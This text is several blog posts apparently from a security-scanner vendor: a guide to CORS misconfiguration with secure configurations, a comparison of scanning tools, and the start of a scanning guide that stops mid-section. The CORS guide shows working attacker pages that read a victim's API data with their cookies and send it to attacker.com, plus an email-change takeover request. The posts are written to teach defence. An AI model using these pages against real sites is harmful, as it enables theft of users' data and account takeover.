Start by triaging findings by severity. Fix critical and high severity issues first — these are actively exploitable and pose immediate risk. For each finding, read the description and recommended fix provided by the scanner. If you use an AI coding assistant, you can paste the fix recommendation directly into your tool. After applying fixes, re-scan to verify the vulnerabilities are resolved. Dismiss any false positives with a documented reason. Finally, set up scheduled scanning so new issues are caught automatically as your application evolves.


---

## CORS Misconfiguration: How Attackers Exploit It and How to Fix It

*CORS misconfiguration is one of the most common web vulnerabilities. How attackers exploit a permissive policy, and how to configure CORS correctly.*

Published: 2026-02-22 | Reading time: 12 min read
URL: https://checkvibe.dev/blog/cors-misconfiguration-guide


Cross-Origin Resource Sharing (CORS) controls which domains can make requests to your API. A misconfigured CORS policy can expose your users' data to attackers. Despite being one of the most commonly tested security mechanisms, CORS misconfigurations remain in the OWASP Top 10 and appear in nearly every web application security audit. This guide covers exactly how CORS works, how attackers exploit it, and how to configure it correctly across different frameworks.

## What Is CORS?

Browsers enforce the Same-Origin Policy — by default, JavaScript on `example.com` cannot make requests to `api.yourdomain.com`. CORS headers tell the browser which cross-origin requests to allow.

The Same-Origin Policy has been a cornerstone of browser security since the late 1990s. Two URLs share the same origin only when they match on all three components: protocol (`https`), host (`api.yourdomain.com`), and port (`443`). If any of those differ, the browser considers it a cross-origin request and blocks JavaScript from reading the response — unless the server explicitly opts in via CORS headers.

The key headers:
- `Access-Control-Allow-Origin` — Which origins can access your resources
- `Access-Control-Allow-Credentials` — Whether cookies/auth headers are sent
- `Access-Control-Allow-Methods` — Which HTTP methods are permitted
- `Access-Control-Allow-Headers` — Which request headers are permitted
- `Access-Control-Expose-Headers` — Which response headers JavaScript can read
- `Access-Control-Max-Age` — How long the browser caches preflight results

It is important to understand that CORS is not a security feature that protects your server. Your server processes every request regardless of origin. CORS is a browser-enforced mechanism that controls whether JavaScript on a web page can read the response. This distinction matters: a misconfigured CORS policy does not make your server vulnerable to direct attacks — it makes your users vulnerable to attacks originating from malicious websites.

## How Preflight Requests Work

Not every cross-origin request triggers a preflight. The browser categorizes requests as "simple" or "preflighted."

A **simple request** uses only `GET`, `HEAD`, or `POST` with standard content types (`text/plain`, `application/x-www-form-urlencoded`, `multipart/form-data`) and no custom headers. The browser sends the request directly and checks the CORS headers on the response.

A **preflighted request** happens when JavaScript uses `PUT`, `DELETE`, `PATCH`, or sends custom headers like `Authorization` or `Content-Type: application/json`. The browser first sends an `OPTIONS` request to ask the server what is allowed:

```
OPTIONS /api/users HTTP/1.1
Host: api.yourdomain.com
Origin: https://app.yourdomain.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization, Content-Type
```

The server responds with what it permits:

```
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.yourdomain.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400
```

If the preflight response allows the actual request, the browser proceeds. If not, the browser blocks it without ever sending the real request.

A common mistake is not handling `OPTIONS` requests in your API routes, which causes preflight failures and confusing CORS errors in the browser console — even though your `Access-Control-Allow-Origin` header is set correctly on other methods.

## Dangerous CORS Configurations

### 1. Wildcard with Credentials

```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```

This combination is actually blocked by browsers, but many developers try it and then "fix" it by reflecting the `Origin` header — which is even worse.

The browser spec explicitly forbids this combination because it would mean "any website can make authenticated requests and read the response." When developers encounter the resulting error, they often Google the fix and land on Stack Overflow answers suggesting origin reflection — trading one vulnerability for another.

### 2. Reflecting the Origin Header

```javascript
// DANGEROUS - reflects any origin
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
```

This means any website can make authenticated requests to your API. An attacker's page at `evil.com` can read your users' data.

This is the single most common CORS misconfiguration. It effectively disables the Same-Origin Policy entirely. Every origin that sends a request gets permission to read the response, including origins controlled by attackers.

### 3. Null Origin Allowed

```
Access-Control-Allow-Origin: null
```

The `null` origin can be triggered from sandboxed iframes, redirects, and local files — making it exploitable.

An attacker can trigger a `null` origin with a sandboxed iframe:

```html
<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://api.yourdomain.com/user/profile', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(data => {
      // Exfiltrate to attacker server
      fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)));
    });
  </script>
"></iframe>
```

The `sandbox` attribute without `allow-same-origin` causes the iframe to use a `null` origin. If your API allows `null`, this request succeeds.

### 4. Regex Bypass

```javascript
// Intended to allow *.yourdomain.com
if (origin.endsWith('.yourdomain.com')) {
  // An attacker registers evil-yourdomain.com
}
```

Substring matching on domains is almost always bypassable.

Here are more regex patterns that attackers routinely bypass:

```javascript
// VULNERABLE: startsWith check
if (origin.startsWith('https://yourdomain.com')) {
  // Bypassed by: https://yourdomain.com.attacker.com
}

// VULNERABLE: includes check
if (origin.includes('yourdomain.com')) {
  // Bypassed by: https://yourdomain.com.attacker.com
  // Also: https://notyourdomain.com
}

// VULNERABLE: loose regex
if (/yourdomain\.com/.test(origin)) {
  // Bypassed by: https://yourdomain.com.attacker.com
  // Also: https://evilyourdomain.com
}
```

The safe approach is always exact string matching against a hardcoded allowlist.

## How Attackers Exploit CORS — Step by Step

1. Attacker creates a malicious page at `attacker.com`
2. Victim visits `attacker.com` while logged into your app
3. Attacker's JavaScript makes a request to your API
4. If CORS allows it, the response (containing user data) is readable by the attacker
5. Attacker exfiltrates the data to their server

Here is the full attack code an attacker would host on their site:

```html
<!-- attacker.com/steal.html -->
<html>
<body>
<h1>Check out this cool article!</h1>
<script>
// Step 1: Make authenticated request to vulnerable API
fetch('https://api.vulnerable-app.com/api/user/profile', {
  method: 'GET',
  credentials: 'include'  // Sends victim's session cookies
})
.then(response => response.json())
.then(data => {
  // Step 2: data contains victim's name, email, payment info, etc.
  console.log('Stolen data:', data);

  // Step 3: Exfiltrate to attacker's server
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      victim_data: data,
      timestamp: new Date().toISOString()
    })
  });
})
.catch(err => console.log('CORS blocked us:', err));
</script>
</body>
</html>
```

If `api.vulnerable-app.com` reflects the origin header and allows credentials, the attacker gets the full API response — user profiles, account details, billing information, whatever that endpoint returns.

The attacker can also modify data, not just read it:

```javascript
// Change the victim's email address (account takeover)
fetch('https://api.vulnerable-app.com/api/user/settings', {
  method: 'PUT',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ email: 'attacker@evil.com' })
});

// Trigger a password reset to the new email — full account takeover
```

This is why CORS misconfigurations are rated as high severity. They enable full read/write access to any API endpoint the victim is authenticated for.

## How to Configure CORS Correctly

### Use an Explicit Allowlist

```typescript
const ALLOWED_ORIGINS = [
  'https://yourdomain.com',
  'https://www.yourdomain.com',
  'https://app.yourdomain.com',
];

if (ALLOWED_ORIGINS.includes(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
}
```

### In Next.js

```typescript
// next.config.ts
async headers() {
  return [{
    source: '/api/:path*',
    headers: [
      { key: 'Access-Control-Allow-Origin', value: 'https://yourdomain.com' },
      { key: 'Access-Control-Allow-Methods', value: 'GET, POST, OPTIONS' },
      { key: 'Access-Control-Allow-Headers', value: 'Content-Type, Authorization' },
    ],
  }];
}
```

For Next.js API routes that need to support multiple origins dynamically:

```typescript
// app/api/data/route.ts
const ALLOWED_ORIGINS = new Set([
  'https://yourdomain.com',
  'https://app.yourdomain.com',
]);

export async function GET(request: Request) {
  const origin = request.headers.get('origin') ?? '';
  const headers = new Headers();

  if (ALLOWED_ORIGINS.has(origin)) {
    headers.set('Access-Control-Allow-Origin', origin);
    headers.set('Access-Control-Allow-Credentials', 'true');
    headers.set('Vary', 'Origin');
  }

  const data = { message: 'Hello' };
  return Response.json(data, { headers });
}

export async function OPTIONS(request: Request) {
  const origin = request.headers.get('origin') ?? '';
  const headers = new Headers();

  if (ALLOWED_ORIGINS.has(origin)) {
    headers.set('Access-Control-Allow-Origin', origin);
    headers.set('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    headers.set('Access-Control-Allow-Credentials', 'true');
    headers.set('Access-Control-Max-Age', '86400');
  }

  return new Response(null, { status: 204, headers });
}
```

Notice the `Vary: Origin` header. This is critical when your `Access-Control-Allow-Origin` value changes based on the request. Without it, CDNs and browser caches may serve a response with the wrong origin header, causing intermittent CORS failures.

### In Express.js

```javascript
const cors = require('cors');

// Option 1: Simple allowlist
const allowedOrigins = [
  'https://yourdomain.com',
  'https://app.yourdomain.com',
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl, etc.)
    if (!origin) return callback(null, true);

    if (allowedOrigins.includes(origin)) {
      callback(null, origin);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  maxAge: 86400, // Cache preflight for 24 hours
}));
```

A common mistake with the `cors` npm package is passing `origin: true`, which reflects any origin — identical to the manual reflection vulnerability. Always use a function or an explicit array.

```javascript
// DANGEROUS — reflects any origin
app.use(cors({ origin: true, credentials: true }));

// SAFE — explicit allowlist
app.use(cors({ origin: ['https://yourdomain.com'], credentials: true }));
```

### Common Mistakes When Using CORS Libraries

1. **Setting `origin: true`** in the `cors` npm package. This reflects the request origin, allowing any domain.
2. **Forgetting the `OPTIONS` handler.** Some frameworks do not automatically respond to preflight requests. If `OPTIONS` returns a 404, browsers block the actual request.
3. **Allowing `http://localhost` in production.** Developers add localhost during development and forget to remove it. Attackers can exploit this by tricking victims into visiting a page served from their local machine.
4. **Not setting `Vary: Origin`.** When the `Access-Control-Allow-Origin` value changes per request, CDNs cache the first response and serve it to everyone, causing intermittent CORS failures or security bypasses.
5. **Applying CORS middleware after route handlers.** In Express, middleware order matters. If your route responds before the CORS middleware runs, no CORS headers are set.

### Rules of Thumb

1. Never use `*` for APIs that handle authenticated requests
2. Never reflect the `Origin` header without an allowlist check
3. Don't allow the `null` origin
4. Use exact string matching for origins, not regex or substring
5. Only allow the HTTP methods your API actually uses
6. Always handle `OPTIONS` preflight requests explicitly
7. Set `Vary: Origin` when the allowed origin changes per request
8. Set `Access-Control-Max-Age` to reduce preflight overhead

## Testing Your CORS Configuration

You can test CORS behavior directly from the command line using curl. This is faster and more reliable than testing in the browser, where cached preflight results and extensions can interfere.

**Test basic CORS response:**

```bash
curl -s -D - -o /dev/null \
  -H "Origin: https://attacker.com" \
  https://api.yourdomain.com/api/data
```

Look at the response headers. If you see `Access-Control-Allow-Origin: https://attacker.com`, your API is reflecting the origin — it is vulnerable.

**Test with null origin:**

```bash
curl -s -D - -o /dev/null \
  -H "Origin: null" \
  https://api.yourdomain.com/api/data
```

If the response includes `Access-Control-Allow-Origin: null`, you are vulnerable to sandboxed iframe attacks.

**Test preflight (OPTIONS) request:**

```bash
curl -s -D - -o /dev/null \
  -X OPTIONS \
  -H "Origin: https://attacker.com" \
  -H "Access-Control-Request-Method: DELETE" \
  -H "Access-Control-Request-Headers: Authorization" \
  https://api.yourdomain.com/api/data
```

A secure response either returns no `Access-Control-Allow-Origin` header or only returns it for your known origins.

**Test with your legitimate origin (should succeed):**

```bash
curl -s -D - -o /dev/null \
  -H "Origin: https://yourdomain.com" \
  https://api.yourdomain.com/api/data
```

This should return `Access-Control-Allow-Origin: https://yourdomain.com`.

**Automated check script:**

```bash
#!/bin/bash
TARGET="https://api.yourdomain.com/api/data"
ORIGINS=("https://attacker.com" "null" "https://evil-yourdomain.com" "http://yourdomain.com")

for origin in "${ORIGINS[@]}"; do
  echo "Testing origin: $origin"
  header=$(curl -s -D - -o /dev/null -H "Origin: $origin" "$TARGET" | grep -i "access-control-allow-origin")
  if [ -n "$header" ]; then
    echo "  VULNERABLE: $header"
  else
    echo "  SAFE: No CORS header returned"
  fi
  echo ""
done
```

## Detecting CORS Issues Automatically

CheckVibe's CORS scanner tests your endpoints for:

- Wildcard `Access-Control-Allow-Origin` with credentials
- Origin reflection without allowlist
- Null origin acceptance
- Overly permissive method allowlists
- Missing preflight handling

It tests each discovered endpoint individually (via [site crawling](/blog/what-is-website-security-scanning)) so even misconfigured sub-routes are caught. This matters because many applications set CORS correctly on the main API but miss internal endpoints, admin routes, or microservice APIs.

You should also combine CORS testing with a broader security review. Misconfigured CORS often accompanies other issues like missing [CSRF protection](/blog/csrf-protection-guide), weak [security headers](/blog/security-headers-complete-guide), or exposed API endpoints. A comprehensive [API security checklist](/blog/api-security-checklist) should include CORS validation as a standard step.

[Scan your site for CORS issues](https://checkvibe.dev/signup) — free, 60 seconds, no configuration needed.

## FAQ

### Is CORS a security feature or a browser restriction?

CORS is a browser-enforced mechanism, not a server-side security feature. Your server processes every request regardless of origin — CORS only controls whether the browser allows JavaScript to read the response. This means CORS does not protect your API from direct attacks using tools like curl or Postman. It specifically prevents malicious websites from using a victim's browser (and their cookies/session) to read API responses. Think of it as protecting your users, not your server.

### Should I use Access-Control-Allow-Origin: * for public APIs?

It depends. If your API is truly public — no authentication, no cookies, no user-specific data — then `Access-Control-Allow-Origin: *` is acceptable and even recommended. Public APIs like weather data or exchange rates can safely use the wildcard. However, if your API uses any form of authentication (cookies, Bearer tokens, API keys), never use `*`. The wildcard combined with `Access-Control-Allow-Credentials: true` is blocked by browsers, and working around it by reflecting the origin introduces a serious vulnerability.

### How do I debug CORS errors?

Start with the browser DevTools Network tab. Click the failed request and check the response headers. Common issues: (1) No `Access-Control-Allow-Origin` header at all — your server is not setting CORS headers for that route. (2) The header exists but does not match the requesting origin — check your allowlist. (3) Preflight (`OPTIONS`) returns 404 or 405 — your server is not handling OPTIONS requests. (4) The header is correct but the browser still blocks it — check for `Access-Control-Allow-Headers` and `Access-Control-Allow-Methods` mismatches. Use the curl commands in the "Testing Your CORS" section above to isolate whether the issue is server-side or browser-side.

### Does CORS protect against CSRF?

No. CORS and CSRF protection solve different problems. CORS prevents a malicious site from reading your API response. [CSRF protection](/blog/csrf-protection-guide) prevents a malicious site from triggering state-changing actions (like transferring money or changing a password). A browser will still send the request — including cookies — for simple requests (GET, POST with form content types). CORS only blocks JavaScript from reading the response. To protect against CSRF, you need dedicated defenses: anti-CSRF tokens, SameSite cookies, or origin validation on state-changing endpoints. Both CORS and CSRF protection should be part of your [security headers configuration](/blog/security-headers-complete-guide).


---

## Web App Security Scanners Compared: Free vs Paid in 2026

*An honest comparison of web application security scanners, free and paid. What each one catches, what it misses, and which is right for you.*

Published: 2026-02-20 | Reading time: 14 min read
URL: https://checkvibe.dev/blog/web-app-security-scanner-comparison


If you're shipping a web application, you need to scan it for vulnerabilities. The question is which tool to use. Here's an honest breakdown of what's available in 2026.

## Free Tools

### Mozilla Observatory

**What it checks:** HTTP security headers (CSP, HSTS, X-Frame-Options, etc.)

**What it misses:** Everything else. No XSS detection, no API scanning, no dependency checks, no authentication testing. It's a header checker, not a security scanner.

**Best for:** A quick sanity check on your security headers configuration.

### SecurityHeaders.com

**What it checks:** Similar to Mozilla Observatory — HTTP response headers.

**What it misses:** Same gaps. Headers are important but they're only one layer of defense.

### SSL Labs

**What it checks:** SSL/TLS configuration, certificate validity, cipher suites, protocol support.

**What it misses:** Everything above the transport layer. Your SSL can be perfect while your application leaks data through XSS.

**Best for:** Verifying your SSL configuration after setup.

### OWASP ZAP

**What it checks:** Comprehensive — injection, XSS, CSRF, authentication issues, and more.

**What it misses:** Requires setup, configuration, and security expertise to interpret results. Not practical for "scan and fix in 5 minutes."

**Best for:** Security professionals who want a free, full-featured DAST tool and have time to configure it.

### Nuclei (ProjectDiscovery)

**What it checks:** Template-based vulnerability scanning. Thousands of community-contributed templates for CVEs, misconfigurations, exposed panels, default credentials, and technology-specific issues.

**What it misses:** No guided remediation. Results require security knowledge to prioritize and act on. Template quality varies. Can be noisy with false positives on certain templates.

**Best for:** Developers comfortable with CLI tools who want broad vulnerability coverage for free and can write their own automation around it.

### Nikto

**What it checks:** Web server misconfigurations, outdated server software, dangerous files and programs, version-specific problems.

**What it misses:** Modern application-layer vulnerabilities. Primarily focused on server configuration rather than your application code. Doesn't understand SPAs or modern JavaScript frameworks.

**Best for:** Quick server-level reconnaissance. Good complement to application-level scanners.

## Paid Tools

### Snyk

**What it checks:** Dependency vulnerabilities, container security, IaC scanning.

**What it misses:** Runtime vulnerabilities, security header misconfigurations, API-level issues. Focused on code and dependencies, not the running application.

**Cost:** Free tier covers basic dependency scanning. Team plans start at $25/developer/month. Enterprise pricing is custom.

**Best for:** Teams that want dependency scanning integrated into their CI/CD pipeline.

### Burp Suite Professional

**What it checks:** Everything. It's the industry standard for web application penetration testing.

**What it misses:** Nothing — if you know how to use it. The learning curve is steep, and it costs $449/year.

**Cost:** $449/year per user for Professional. Enterprise edition is significantly more.

**Best for:** Professional penetration testers and security engineers.

### Detectify

**What it checks:** External attack surface management, OWASP Top 10 vulnerabilities, subdomain discovery, continuous monitoring.

**What it misses:** Internal application logic, dependency vulnerabilities, code-level issues. Focused on the external attack surface.

**Cost:** Starts at around $275/month for a single application. Surface Monitoring starts at $190/month for up to 10 root domains. 14-day free trial available.

**Best for:** Companies with multiple subdomains and external-facing services that need continuous monitoring. Overkill for a single SaaS app.

### Intruder

**What it checks:** Network-level and web application vulnerabilities. Covers OWASP Top 10, infrastructure misconfigurations, and emerging threats. Integrates with cloud providers (AWS, GCP, Azure) for perimeter scanning.

**What it misses:** Deep application logic testing. Better at finding known vulnerability patterns than business logic flaws.

**Cost:** Essential plan from $113/month (billed annually). Pro plan from $181/month. Free 14-day trial.

**Best for:** Small teams that want a managed scanner covering both infrastructure and web application vulnerabilities without the setup overhead.

### HostedScan

**What it checks:** Runs open-source tools (OpenVAS, OWASP ZAP, Nmap, SSLyze) as managed cloud services. Network scanning, web application scanning, SSL checks, and port scanning.

**What it misses:** Advanced application-level testing. Since it wraps existing open-source tools, it inherits their limitations. No custom remediation guidance.

**Cost:** Free tier includes 3 targets and limited scans. Premium starts at $59/month for 20 targets. Professional at $149/month for 60 targets.

**Best for:** Developers who want the power of tools like ZAP and OpenVAS without managing the infrastructure to run them. Good value for the price.

### Astra Security

**What it checks:** Automated DAST scanning covering OWASP Top 10, API security testing, business logic testing, and compliance checks (GDPR, SOC 2, ISO 27001). Includes a pentest dashboard with human verification.

**What it misses:** Dependency scanning (you'll still need Snyk or npm audit for that). Some advanced business logic issues still require manual testing.

**Cost:** Scanner plan from $199/month. Pentest plans (which include manual verification) from $999/month. Annual discounts available.

**Best for:** Startups that need a compliance certificate for enterprise sales and want combined automated + manual testing.

### Vercel Security (built-in)

**What it checks:** Basic protections — DDoS, bot protection, firewall rules.

**What it misses:** Application-level vulnerabilities. It protects the infrastructure, not your code.

**Cost:** Included with Vercel plans. WAF and advanced protection on Pro ($20/mo) and Enterprise plans.

**Best for:** Vercel users who want platform-level protection alongside application scanning.

## Detailed Comparison Table

Here's a side-by-side comparison of every scanner mentioned above across the criteria that matter most:

| Tool | Type | OWASP Top 10 | API Scanning | Dependency Check | Headers/SSL | CI/CD Integration | Remediation Guidance | Scan Speed | Starting Price |
|------|------|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|
| Mozilla Observatory | Free | Partial | No | No | Headers only | No | Minimal | Instant | Free |
| SecurityHeaders.com | Free | Partial | No | No | Headers only | No | Minimal | Instant | Free |
| SSL Labs | Free | No | No | No | SSL/TLS only | No | Yes | 2-3 min | Free |
| OWASP ZAP | Free DAST | Yes | Yes | No | Yes | Yes (plugin) | Minimal | 10-60 min | Free |
| Nuclei | Free DAST | Yes | Partial | No | Yes | Yes (CLI) | Templates | 5-30 min | Free |
| Nikto | Free | Partial | No | No | Partial | Yes (CLI) | Minimal | 2-10 min | Free |
| Snyk | SCA/SAST | Partial | No | Yes | No | Yes (native) | Yes | 1-5 min | $25/dev/mo |
| Burp Suite Pro | DAST | Yes | Yes | No | Yes | Yes (API) | Yes | 30-120 min | $449/year |
| Detectify | DAST/ASM | Yes | Partial | No | Yes | Yes (API) | Yes | 30-60 min | ~$275/mo |
| Intruder | DAST/Infra | Yes | Yes | No | Yes | Yes (API) | Yes | 15-60 min | $113/mo |
| HostedScan | Managed OSS | Yes | Partial | No | Yes | Yes (API) | Minimal | 15-45 min | $59/mo |
| Astra Security | DAST+Pentest | Yes | Yes | No | Yes | Yes (API) | Yes (human) | 30-90 min | $199/mo |
| Vercel Security | WAF/DDoS | No | No | No | Partial | Built-in | No | N/A | Included |
| **CheckVibe** | **DAST** | **Yes** | **Yes** | **Yes** | **Yes** | **Yes (API)** | **AI-powered** | **30 sec** | **$24/mo** |

## Cost Breakdown: What You'll Actually Pay

Let's be real about costs. Here's what a typical indie hacker or small team would pay annually for each option:

**Free tier (cobbling together free tools):**
- Mozilla Observatory + SSL Labs + npm audit + OWASP ZAP
- Cost: $0
- Time cost: 2-4 hours/month to run, interpret, and cross-reference results
- Coverage gaps: No API scanning, no AI remediation, no continuous monitoring

**Budget tier ($200-$700/year):**
- CheckVibe Starter ($228/year) or HostedScan Premium ($708/year)
- Good coverage for a single SaaS application
- CheckVibe adds remediation guidance and 30-second scans

**Mid-range ($1,000-$3,000/year):**
- Intruder Essential ($1,356/year) or Snyk Team ($300/dev/year for a 3-person team)
- Better for teams with infrastructure scanning needs
- Snyk shines for dependency management but doesn't cover runtime vulnerabilities

**Enterprise ($3,000+/year):**
- Detectify ($3,300+/year), Astra ($2,388+/year), or Burp Suite Enterprise
- More than most indie hackers need
- Makes sense when you have compliance requirements or enterprise customers

The sweet spot for most indie hackers is the $200-$700/year range. You get automated scanning, actionable results, and enough coverage to catch the real issues without the overhead of enterprise tools.

## What Indie Hackers Actually Need

After talking to hundreds of indie hackers about their security setup, here's what consistently matters and what doesn't:

**What matters:**

1. **Speed.** If a scan takes 30+ minutes, you won't run it regularly. You'll run it once, fix some things, and forget about it. You need results in under a minute to make scanning a habit.

2. **Actionable results.** A report that says "XSS vulnerability found at line 47" is useful. A report that says "137 potential issues found" with no context is just noise. The best scanners tell you what's wrong, why it matters, and how to fix it.

3. **Coverage of your actual stack.** If you're running Next.js on Vercel with Supabase, you don't need a tool optimized for scanning Java EE applications behind an F5 load balancer. You need something that understands modern JavaScript frameworks, serverless functions, and BaaS platforms.

4. **Price proportional to your revenue.** Spending $275/month on a security scanner when your MRR is $500 doesn't make sense. The tool should cost a fraction of what you're making.

5. **CI/CD integration or API access.** Scan on every deploy, not when you remember to. This is the only way to keep security from becoming technical debt.

**What doesn't matter (for most indie hackers):**

- **Compliance certificates.** Unless you're selling to enterprises that require SOC 2 or ISO 27001, you don't need a scanner that produces compliance reports.
- **Network infrastructure scanning.** If you're on Vercel/Netlify/Cloudflare, the platform handles infrastructure security. You need application-level scanning.
- **Manual pentest add-ons.** Valuable for funded startups, overkill for a solo SaaS doing $5k MRR.
- **Agent-based scanning.** Requires installing software on your servers. If you're serverless, this doesn't apply.

## What to Look For

When choosing a scanner, ask:

1. **What does it actually scan?** Headers-only tools give false confidence. You need injection testing, authentication checks, and API scanning.
2. **How fast is it?** If a scan takes 30 minutes, you won't run it often. Speed matters for habit formation.
3. **Can you fix what it finds?** A report with 200 findings and no remediation guidance is just anxiety in PDF form.
4. **Does it fit your workflow?** CI/CD integration, API access, and IDE plugins reduce friction.
5. **What does it cost?** Enterprise scanners at $10k+/year are overkill for indie hackers. Free tools miss too much. The sweet spot is in between.
6. **Does it understand your stack?** A scanner built for Java Enterprise won't catch Supabase RLS misconfigurations or Next.js-specific issues.
7. **How are results prioritized?** You want critical issues flagged first, not buried in a list of 200 informational findings.

For more on evaluating scanners, see our [Website Security Scanner Comparison](/blog/website-security-scanner-comparison) and our guide on [What is Website Security Scanning](/blog/what-is-website-security-scanning).

## The Gap CheckVibe Fills

Most scanners fall into two categories: free but limited, or comprehensive but expensive and complex.

CheckVibe sits in the middle — 100+ security checks covering headers, SSL, XSS, SQL injection, CORS, CSRF, API keys, dependencies, and more. Results in 30 seconds with remediation prompts. Plans starting at $24/month.

We built it because we were shipping vibe-coded apps ourselves and needed something between "check my headers" and "hire a pentester."

Specifically, CheckVibe was designed for the indie hacker workflow:

- **30-second scans** so you can run one before every deploy without slowing down
- **remediation guidance** that give you code you can copy-paste, not vague advice
- **Site crawling** that discovers your pages and API endpoints automatically
- **Stack-aware scanning** that knows about Next.js, Supabase, Firebase, Vercel, and the tools you actually use
- **API and MCP server access** so you can integrate scanning into your CI/CD pipeline or AI coding workflow
- **PDF export** for when a client or investor asks "how secure is your app?"

## Our Recommendation

Use multiple tools. No single scanner catches everything:

1. **Run SSL Labs** once to verify your certificate setup
2. **Run a comprehensive scanner** (like CheckVibe) on every deploy
3. **Run `npm audit`** in your CI pipeline for dependency vulnerabilities
4. **Get a professional pentest** before major launches or when handling sensitive data

Security is layers. Each tool adds a layer.

For a deeper dive into checking your site's security posture, read our guide on [How to Check if a Website is Secure](/blog/how-to-check-if-website-is-secure). And if you want to understand the scanning process itself, see [What is Website Security Scanning](/blog/what-is-website-security-scanning).

## FAQ

### Do I need a paid security scanner?

It depends on what you're building. If your app handles user authentication, stores personal data, or processes payments, a paid scanner will catch issues that free tools miss — things like API endpoint vulnerabilities, CORS misconfigurations, CSRF issues, and authentication weaknesses. Free tools like Mozilla Observatory and SSL Labs cover headers and SSL well, but they're blind to application-layer vulnerabilities. If your app is a static marketing site with no user data, free tools are probably fine. For anything with a login page, a database, or payment processing, a paid scanner pays for itself the first time it catches a vulnerability before an attacker does.

### Is OWASP ZAP good enough?

OWASP ZAP is an excellent tool with genuine depth — it can find injection flaws, XSS, CSRF issues, and more. The challenge is usability. ZAP requires installation, configuration, and meaningful security expertise to interpret results. A full active scan can take 30-60 minutes and produces raw technical output that assumes you know what to do with it. If you're a security professional or have the time to learn, ZAP is hard to beat for the price (free). But if you're an indie hacker who needs to scan, understand results, and fix issues in 15 minutes between feature sprints, a tool with better UX and guided remediation will serve you better in practice. Many developers start with ZAP, get overwhelmed by the output, and stop scanning entirely — which is worse than using a simpler tool consistently.

### Can I use multiple scanners?

Absolutely, and you should. Different scanners have different strengths. SSL Labs is the gold standard for TLS configuration but doesn't look at your application code. Snyk excels at dependency vulnerabilities but won't find XSS in your templates. OWASP ZAP does deep application testing but misses dependency issues. A practical multi-scanner setup for indie hackers looks like: (1) a comprehensive DAST scanner like CheckVibe for application-level issues on every deploy, (2) `npm audit` or Snyk in your CI pipeline for dependency vulnerabilities, (3) SSL Labs once after setting up your domain, and (4) a manual security review before major launches. The key is making scanning automatic so it actually happens. One scanner that runs on every deploy is better than five scanners you run once a quarter.

### What's the best free security scanner?

For the broadest free coverage, OWASP ZAP is the most capable option. It covers OWASP Top 10 vulnerabilities, supports active and passive scanning, and has an API for automation. But "best" depends on your context. If you just want to check your security headers in 10 seconds, Mozilla Observatory is perfect. For SSL configuration, nothing beats SSL Labs. For dependency vulnerabilities in JavaScript projects, `npm audit` is built right into your toolchain. Nuclei from ProjectDiscovery is gaining traction for its template-based approach — especially useful if you want to check for specific CVEs or misconfigurations. The honest answer is that no single free tool gives you comprehensive coverage with a good developer experience. Free tools either cover one narrow area well (headers, SSL, dependencies) or cover broadly but require significant expertise (ZAP, Nuclei). That's the gap that affordable paid tools aim to fill.


---

## The Complete Guide to Automated Website Security Scanning

*How automated security scanners find vulnerabilities before attackers do — SQL injection, XSS, exposed API keys and 27 more checks, explained.*

Published: 2026-02-20 | Reading time: 14 min read
URL: https://checkvibe.dev/blog/website-security-scanner-guide


Every website deployed to the internet faces a constant barrage of automated attacks. Bots scan for open ports, probe for SQL injection, and test for misconfigured headers — 24 hours a day, 7 days a week. If you're not scanning your own site first, attackers will do it for you.

According to IBM's 2025 Cost of a Data Breach report, the average data breach costs $4.88 million globally. For small businesses and startups, even a fraction of that — customer churn, legal fees, incident response — can be fatal. Automated security scanning is the most cost-effective way to find vulnerabilities before they become breaches.

## What Is Automated Security Scanning?

Automated security scanning is the process of using software tools to systematically check a website or web application for known vulnerabilities. Unlike manual penetration testing, automated scanners can run in minutes and cover dozens of attack vectors simultaneously.

A modern scanner checks for things like:

- **Injection flaws** — SQL injection, XSS, command injection
- **Configuration issues** — missing security headers, permissive CORS, weak SSL/TLS
- **Exposed secrets** — API keys, database credentials, tokens visible in source code or network requests
- **Dependency vulnerabilities** — known CVEs in JavaScript packages, frameworks, and libraries
- **Authentication weaknesses** — broken auth flows, session mismanagement, CSRF gaps

The key difference between automated scanning and manual testing is scalability. A scanner can check 100+ vulnerability categories in under 60 seconds, consistently, on every deployment. A human tester brings creativity and contextual understanding but simply cannot maintain that pace or frequency.

## Why Manual Testing Isn't Enough

Manual penetration testing is valuable but it has limitations. A human tester might spend days reviewing a single application. They bring expertise and creativity, but they can't run 100+ different security checks in under a minute.

Automated scanning complements manual testing by providing:

1. **Speed** — scan an entire site in under 60 seconds
2. **Consistency** — every scan runs the same checks, every time
3. **Coverage** — test attack vectors that a manual tester might overlook
4. **Frequency** — scan after every deployment, not once a quarter

The ideal security posture combines both approaches: automated scanning catches the known, repeatable vulnerabilities continuously, while periodic manual testing uncovers business logic flaws and novel attack vectors that require human judgment.

## Passive vs. Active Scanning: Understanding the Difference

Not all security scans work the same way. Understanding the difference between passive and active scanning helps you choose the right approach for your situation.

### Passive Scanning

Passive scanners observe without interacting aggressively with the target. They analyze:

- HTTP response headers for missing security configurations
- SSL/TLS certificate details and protocol versions
- Publicly visible source code and JavaScript bundles
- DNS records and domain configuration
- Technology fingerprinting from response signatures

Passive scanning is safe to run against production systems because it doesn't send malicious payloads or modify data. It's the equivalent of checking whether your front door is locked without trying to pick it.

### Active Scanning

Active scanners send crafted requests designed to trigger vulnerabilities:

